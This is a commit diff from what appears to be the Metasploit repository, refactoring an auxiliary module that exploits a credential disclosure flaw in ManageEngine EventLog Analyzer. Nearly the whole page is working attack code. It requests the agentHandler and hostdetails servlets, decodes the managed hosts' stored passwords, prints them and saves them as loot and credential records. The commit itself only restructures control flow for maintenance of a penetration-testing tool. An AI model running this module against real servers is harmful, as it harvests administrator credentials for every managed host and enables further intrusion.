Skip to content

Commit d630eac

Browse files
committed
Reduce code complexity
1 parent cea30b5 commit d630eac

File tree

1 file changed

+111
-110
lines changed

1 file changed

+111
-110
lines changed

modules/auxiliary/gather/eventlog_cred_disclosure.rb

Lines changed: 111 additions & 110 deletions
Original file line numberDiff line numberDiff line change
@@ -67,124 +67,125 @@ def run
6767
}
6868
})
6969

70-
if res && res.code == 200
71-
# When passwords have digits the XML parsing will fail.
72-
# Replace with an empty password attribute so that we know the device has a password
73-
# and therefore we want to add it to our host list.
74-
xml = res.body.to_s.gsub(/&#[0-9]*;/,Rex::Text.rand_text_alpha(6))
75-
begin
76-
doc = REXML::Document.new(xml)
77-
rescue
78-
fail_with(Failure::Unknown, "#{peer} - Error parsing the XML, dumping output #{xml}")
70+
unless res && res.code == 200
71+
print_error("#{peer} - Failed to reach agentHandler servlet")
72+
return
73+
end
74+
75+
# When passwords have digits the XML parsing will fail.
76+
# Replace with an empty password attribute so that we know the device has a password
77+
# and therefore we want to add it to our host list.
78+
xml = res.body.to_s.gsub(/&#[0-9]*;/,Rex::Text.rand_text_alpha(6))
79+
begin
80+
doc = REXML::Document.new(xml)
81+
rescue
82+
fail_with(Failure::Unknown, "#{peer} - Error parsing the XML, dumping output #{xml}")
83+
end
84+
slid_host_ary = []
85+
doc.elements.each('Details/HostDetails') do |ele|
86+
if ele.attributes["password"] != nil
87+
# If an element doesn't have a password, then we don't care about it.
88+
# Otherwise store the slid and host_id to use later.
89+
slid_host_ary << [ele.attributes["slid"], ele.attributes["host_id"]]
7990
end
80-
slid_host_ary = []
81-
doc.elements.each('Details/HostDetails') do |ele|
82-
if ele.attributes["password"] != nil
83-
# If an element doesn't have a password, then we don't care about it.
84-
# Otherwise store the slid and host_id to use later.
85-
slid_host_ary << [ele.attributes["slid"], ele.attributes["host_id"]]
91+
end
92+
93+
cred_table = Rex::Ui::Text::Table.new(
94+
'Header' => 'ManageEngine EventLog Analyzer Managed Devices Credentials',
95+
'Indent' => 1,
96+
'Columns' =>
97+
[
98+
'Host',
99+
'Type',
100+
'SubType',
101+
'Domain',
102+
'Username',
103+
'Password',
104+
]
105+
)
106+
107+
slid_host_ary.each do |host|
108+
res = send_request_cgi({
109+
'uri' => normalize_uri(target_uri.path, "hostdetails"),
110+
'method' =>'GET',
111+
'vars_get' => {
112+
'slid' => host[0],
113+
'hostid' => host[1]
114+
}
115+
})
116+
117+
if res && res.code == 200
118+
begin
119+
doc = REXML::Document.new(res.body)
120+
rescue
121+
fail_with(Failure::Unknown, "#{peer} - Error parsing the XML, dumping output #{res.body.to_s}")
86122
end
87-
end
123+
doc.elements.each('Details/Hosts') do |ele|
124+
# Add an empty string if a variable doesn't exist, we have to check it
125+
# somewhere and it's easier to do it here.
126+
dns_name = (ele.attributes["dns_name"] != nil ? ele.attributes["dns_name"] : "")
127+
host_ipaddress = (ele.attributes["host_ipaddress"] != nil ? ele.attributes["host_ipaddress"] : "")
128+
129+
ele.elements.each('HostDetails') do |details|
130+
domain_name = (details.attributes["domain_name"] != nil ? details.attributes["domain_name"] : "")
131+
username = (details.attributes["username"] != nil ? details.attributes["username"] : "")
132+
password_encoded = (details.attributes["password"] != nil ? details.attributes["password"] : "")
133+
password = decode_password(password_encoded)
134+
type = (details.attributes["type"] != nil ? details.attributes["type"] : "")
135+
subtype = (details.attributes["subtype"] != nil ? details.attributes["subtype"] : "")
136+
137+
if not (type =~ /Windows/ or subtype =~ /Windows/)
138+
# With AS/400 we get some garbage in the domain name even though it doesn't exist
139+
domain_name = ""
140+
end
88141

89-
cred_table = Rex::Ui::Text::Table.new(
90-
'Header' => 'ManageEngine EventLog Analyzer Managed Devices Credentials',
91-
'Indent' => 1,
92-
'Columns' =>
93-
[
94-
'Host',
95-
'Type',
96-
'SubType',
97-
'Domain',
98-
'Username',
99-
'Password',
100-
]
101-
)
102-
103-
slid_host_ary.each do |host|
104-
res = send_request_cgi({
105-
'uri' => normalize_uri(target_uri.path, "hostdetails"),
106-
'method' =>'GET',
107-
'vars_get' => {
108-
'slid' => host[0],
109-
'hostid' => host[1]
110-
}
111-
})
112-
113-
if res && res.code == 200
114-
begin
115-
doc = REXML::Document.new(res.body)
116-
rescue
117-
fail_with(Failure::Unknown, "#{peer} - Error parsing the XML, dumping output #{res.body.to_s}")
118-
end
119-
doc.elements.each('Details/Hosts') do |ele|
120-
# Add an empty string if a variable doesn't exist, we have to check it
121-
# somewhere and it's easier to do it here.
122-
dns_name = (ele.attributes["dns_name"] != nil ? ele.attributes["dns_name"] : "")
123-
host_ipaddress = (ele.attributes["host_ipaddress"] != nil ? ele.attributes["host_ipaddress"] : "")
124-
125-
ele.elements.each('HostDetails') do |details|
126-
domain_name = (details.attributes["domain_name"] != nil ? details.attributes["domain_name"] : "")
127-
username = (details.attributes["username"] != nil ? details.attributes["username"] : "")
128-
password_encoded = (details.attributes["password"] != nil ? details.attributes["password"] : "")
129-
password = decode_password(password_encoded)
130-
type = (details.attributes["type"] != nil ? details.attributes["type"] : "")
131-
subtype = (details.attributes["subtype"] != nil ? details.attributes["subtype"] : "")
132-
133-
if not (type =~ /Windows/ or subtype =~ /Windows/)
134-
# With AS/400 we get some garbage in the domain name even though it doesn't exist
135-
domain_name = ""
136-
end
137-
138-
msg = "Got login to #{host_ipaddress} | running "
139-
msg << type << (subtype != "" ? " | #{subtype}" : "")
140-
msg << " | username: "
141-
msg << (domain_name != "" ? "#{domain_name}\\#{username}" : username)
142-
msg << " | password: #{password}"
143-
print_good(msg)
144-
145-
cred_table << [host_ipaddress, type, subtype, domain_name, username, password]
146-
147-
credential_core = report_credential_core({
148-
password: password,
149-
username: username,
150-
})
151-
152-
begin
153-
host_login_data = {
154-
address: host_ipaddress,
155-
service_name: type,
156-
workspace_id: myworkspace_id,
157-
protocol: 'tcp',
158-
port: 0, # can be any port, so just set to 0 else the cred api screams
159-
core: credential_core,
160-
status: Metasploit::Model::Login::Status::UNTRIED
161-
}
162-
create_credential_login(host_login_data)
163-
end
142+
msg = "Got login to #{host_ipaddress} | running "
143+
msg << type << (subtype != "" ? " | #{subtype}" : "")
144+
msg << " | username: "
145+
msg << (domain_name != "" ? "#{domain_name}\\#{username}" : username)
146+
msg << " | password: #{password}"
147+
print_good(msg)
148+
149+
cred_table << [host_ipaddress, type, subtype, domain_name, username, password]
150+
151+
credential_core = report_credential_core({
152+
password: password,
153+
username: username,
154+
})
155+
156+
begin
157+
host_login_data = {
158+
address: host_ipaddress,
159+
service_name: type,
160+
workspace_id: myworkspace_id,
161+
protocol: 'tcp',
162+
port: 0, # can be any port, so just set to 0 else the cred api screams
163+
core: credential_core,
164+
status: Metasploit::Model::Login::Status::UNTRIED
165+
}
166+
create_credential_login(host_login_data)
164167
end
165168
end
166-
else
167-
print_error("#{peer} - Failed to reach hostdetails servlet")
168169
end
170+
else
171+
print_error("#{peer} - Failed to reach hostdetails servlet")
169172
end
170-
171-
print_line
172-
print_line("#{cred_table}")
173-
loot_name = 'manageengine.eventlog.managed_hosts.creds'
174-
loot_type = 'text/csv'
175-
loot_filename = 'manageengine_eventlog_managed_hosts_creds.csv'
176-
loot_desc = 'ManageEngine Eventlog Analyzer Managed Hosts Administrator Credentials'
177-
p = store_loot(
178-
loot_name,
179-
loot_type,
180-
rhost,
181-
cred_table.to_csv,
182-
loot_filename,
183-
loot_desc)
184-
print_status "Credentials saved in: #{p}"
185-
else
186-
print_error("#{peer} - Failed to reach agentHandler servlet")
187173
end
174+
175+
print_line
176+
print_line("#{cred_table}")
177+
loot_name = 'manageengine.eventlog.managed_hosts.creds'
178+
loot_type = 'text/csv'
179+
loot_filename = 'manageengine_eventlog_managed_hosts_creds.csv'
180+
loot_desc = 'ManageEngine Eventlog Analyzer Managed Hosts Administrator Credentials'
181+
p = store_loot(
182+
loot_name,
183+
loot_type,
184+
rhost,
185+
cred_table.to_csv,
186+
loot_filename,
187+
loot_desc)
188+
print_status "Credentials saved in: #{p}"
188189
end
189190

190191

0 commit comments

Comments
 (0)